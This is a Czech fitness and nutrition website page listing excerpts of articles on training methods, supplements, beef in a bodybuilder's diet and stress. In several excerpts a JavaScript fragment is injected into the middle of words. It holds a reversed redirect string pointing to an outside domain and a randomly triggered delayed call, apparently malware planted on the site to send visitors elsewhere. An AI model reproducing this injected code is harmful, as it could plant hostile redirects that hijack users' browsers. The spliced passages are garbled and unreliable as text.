• Tréninky

    TRÉNINK S ODPOČINKOVOU PAUZOU vs. BUDOVÁNÍ HMOTY

    Zní to jako paradox, že by pauza v tréninku mohla zvýšit efektivitu a zkvalitnit dosažené výsledky? Nejúčinnější techniky ovšem často patří k těm nejméně pochopitelným. Správně načasovaná odpočinková pauza umí zázraky. Má značný vliv na výkonnost, vyčerpání svalů i následný tréninkový efekt. V rámci tréninku s odpočinkovou pauzou použijete zátěž, se kterou zvládnete daný počet opakování. Vy ale neodcvičíte celou sérii bez přerušení. Naopak si mezi jednotlivými opakováními dopřejte krátkou pauzu. To vám umožní provést jich více a dosáhnout nebývalé stimulace objemu i síly. Pokud normálně provádíte bench press se zátěží 120 kg v pěti opakováních, pak v sérii s odpočinkovou pauzou odcvičíte první dvě opakování a pak činku na 30 sekund odložíte na stojan. To samé…

  • Výživa

    SUPLEMENTACE PO PADESÁTCE

    Každý věk má svoje specifika a pokud chcete dosahovat v tréninku optimálních výsledků, měli byste tento faktor zohlednit v tréninku, výživě i při výběru výživových doplňků. Datum v rodném listu nezměníte, ale velkou měrou můžete ovlivnit svou kondici a kvalitu života. Pravidelný trénink má vysloveně omlazující účinky, vhodně sestaveným jídelníčkem dáte projevům stárnutí pěkně zabrat a suplementy coby pověstná třešinka na dortu vaše snažení ještě posílí. VYBÍRÁME SUPLEMENTY Vzhledem k tomu, že s věkem klesá schopnost těla vstřebávat živiny, není možné spoléhat, že pokryjete nároky stravou, byť sebekvalitnější. Ke slovu se tak dostávají výživové doplňky, díky nimž máte šanci zajistit tělu adekvátní přísun potřebných vitaminů, minerálů a dalších látek. V první řadě je třeba vědět, co…

  • Výživa

    Pomáhají vitaminy B se spalováním tuků?

    Ne nadarmo se říká, že dobří holubi se vracejí. Platí to i o osvědčených trendech ve výživě a suplementaci. Takže se pozornost řady sportovců opět upírá k ikonickému B komplexu. Které látky tvoří komplex B vitaminů? B1 – thiamin B2 – riboflavin B3 – niacin B5 – kyselina pantotenová B6 – pyridoxine B7 – biotin B9 – kyselina listová B12 – kobalamin Jde o vitaminy rozpustné ve vodě, což znamená, že si je tělo neukládá a musíte je přijímat pravidelně v dostatečných dávkách. B vitaminy plní v organismu širokou škálu významných úkolů, zejména co se týče fungování metabolismu: – napomáhají přeměně bílkovin, sacharidů a tuků na energii; – zajišťují správné fungování nervového systému;…

  • Tréninky

    SVALY vs. MYSL

    Zaměřte se na propojení mezi svalem a myslí a objevte v sobě vnitřní sílu, která vám pomůže k většímu úspěchu v posilovně i mimo ni. Jako tvrdě trénující sportovci už jistě víte, co znamenají slova pevná vůle a obětavost. Přesně tyhle vlastnosti v sobě posilujete pokaždé, když si večer nelehnete na gauč, ale jdete cvičit, vždycky, když si k snídani nedáte koblihu, ale omeletu z bílků. Úspěch je totiž v mnoha ohledech spíše dílem úsilí nikoliv výsledkem talentu. A vždycky dává smysl přistupovat k tréninku s pozitivním naladěním, vyzbrojeni vírou, že ze sebe vydáte maximum. Prakticky každého začátečníka, který posbírá pár zkušeností, dříve nebo později překvapí, jak moc jsou tréninkové výsledky ovlivněny mentálním nastavením. Většina renomovaných trenérů tvrdí, že…

  • Josef Květoň, foto: Josef Adlt
    Tréninky

    DELTY VE 3D

    Využijte k budování mohutných deltových svalů speciální tréninkové techniky. Kdybychom měli zmínit jednu jedinou svalovou partii, která na první pohled odliší šampiona od průměrného sportovce, pak by to bezpochyby byla ramena. Proč? Především proto, že jde o partii dobře viditelnou ze všech stran. Rozvinuté deltové svaly můžete obdivovat zepředu, zezadu i z boku. Široká ramena jednoduše nepřehlédnete, ať už má dotyčný na sobě tričko, svetr nebo oblek. Žádná jiná svalová skupina toho o náročnosti vašich tréninků tolik nevypovídá. Bohužel je často značný rozdíl mezi tím, jak mohutné byste delty chtěli mít, a jak mohutné tyto svaly momentálně máte. Jestli se vám zdá, že výsledky úplně neodpovídají vynaloženému úsilí, možná potřebujete s tréninkem trochu…

  • Výživa

    TEENAGER vs. SUPLEMENTACE

    Je vhodné či dokonce nutné, aby dospívající sportovci užívali výživové doplňky? Pokud ano, které vybrat a jakým se naopak raději vyhnout? „Náš čtrnáctiletý syn začal na podzim chodit do fitka. Hrozně ho to chytlo, cvičí opravdu pravidelně, a i na jeho postavě to začíná být znát. Nedávno za mnou přišel, jestli bych mu k blížícím se narozeninám koupila balení proteinového nápoje. Sám si toho o nejrůznějších produktech hodně načetl, ale já si pořád kladu otázku, jestli mu to v jeho věku nemůže nějak uškodit.„ „Chci se zeptat, jak je to s užíváním sportovní výživy u dospívajících. Našemu Martinovi bude šestnáct, do posilovny se dostal v rámci kompenzačních tréninků fotbalu a rád by silovým sportům věnoval…

  • Výživa

    KDE VĚZÍ HOVĚZÍ?

    Jaké místobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to zaujímá červené maso v jídelníčku kulturistů? Hovězí maso coby vysoce kvalitní zdroj bílkovin vám umožní ještě výraznější nárůst svalové hmoty, stačí jen dodržet následující pravidla ohledně výběru, přípravy a konzumace.   Bez ohledu na negativní názory, kterých se kolem hovězího masa v posledních dekádách nahromadilo víc než dost, platí, že když dodržujete určitá pravidla, je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohle maso excelentní potravinou nejenom pro sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovce. Představuje cestu k růstu svalové hmoty. Klíčem k úspěchu je vědět, které kousky masa si vybrat a jak je správně připravit.   VYBÍREJTE SI LIBOVÉ KOUSKY Ne všechny krávy jsou stejné –…

  • Tréninky

    JAK PŘEMLUVIT MOZEK, ABY VÍC ZAPOJIL SVALY

    OSVOBOĎTE SÍLU SVOJÍ MYSLI Za pomoci vědecky ověřených principů máte možnost podpořit schopnost svého těla zapojit a budovat nová svalová vlákna.   Slyšeli jste tvrzení, že využíváme jen deset procent svojí mozkové kapacity? Stejně tak existuje nějaká hranice, jaká část svalu může být využita v dané sérii. Jedná se o schopnost řízenou naším mozkem. Počet svalových vláken schopných odvádět práci je  ovlivněn jak genetikou, tak také nedědičně, tzn. objemem svalu a fyzickou kondicí. Pokud se ale naučíte aktivovat mozek a neurální činnost, máte možnost zapojit do každého opakování více svalových vláken, čímž výrazně urychlíte budování svalové hmoty.   OVLÁDNĚTE POST-AKTIVAČNÍ POTENCIACI Hráči baseballu tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to…

  • Tréninky

    BRZDÍ STRES VAŠI VÝKONNOST?

    Stres je součástí každodenního života a prakticky jakýkoliv podnět může být stresující – zvuk, práce, pozdní příchod partnera, dokonce i budování svalů. Nějaké formě stresu čelí někdy každý z nás. Pokud trvá stresový podnět dlouho, může vést k celé řadě fyzických i psychických potíží, které pak poměrně vážně narušují tréninkové výsledky. Nedávno provedené výzkumy dokonce prokázaly, že chronický stres může vést i k syndromu přetrénování.   CVIČENÍ JE FORMOU STRESU I cvičení samotné představuje pro tělo stres. Záleží na vašem emocionálním a fyzickém rozpoložení, ale trénink, zejména aerobní nebo i posilovací, může na druhou stranu stres odbourávat, alespoň do jisté míry. A mluvíme pochopitelně o stresu psychickém. Každopádně byste si…

  • Tréninky

    KULTURISTICKÝ vs. FUNKČNÍ TRÉNINK

    Budujte sílu netradiční kombinací tréninkových stylů. Nekonvenční tréninkové přístupy patří k oblíbeným metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todám zejména v MMA, ale i řada dalších sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovců v poslední době vyhledává méně obvyklé cvičební postupy, které jim mají posloužit ke zpestření tréninku a současně tělo vyburcovat k nárůstu výkonnosti. Nemusíte přitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom objevovat Ameriku, častobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to postačí netradiční kombinace a využití tréninkových pomůcek, s nimiž jste doposud neměli tu čest pracovat. Většina lidí ve fitku využívá k budování síly klasický trénink s činkami. Vychází z osvědčené praktiky, že díky přetížení svalů pomocí velkých zátěží dosáhnou kvalitních výsledků. A mají samozřejmě pravdu. Nicméně…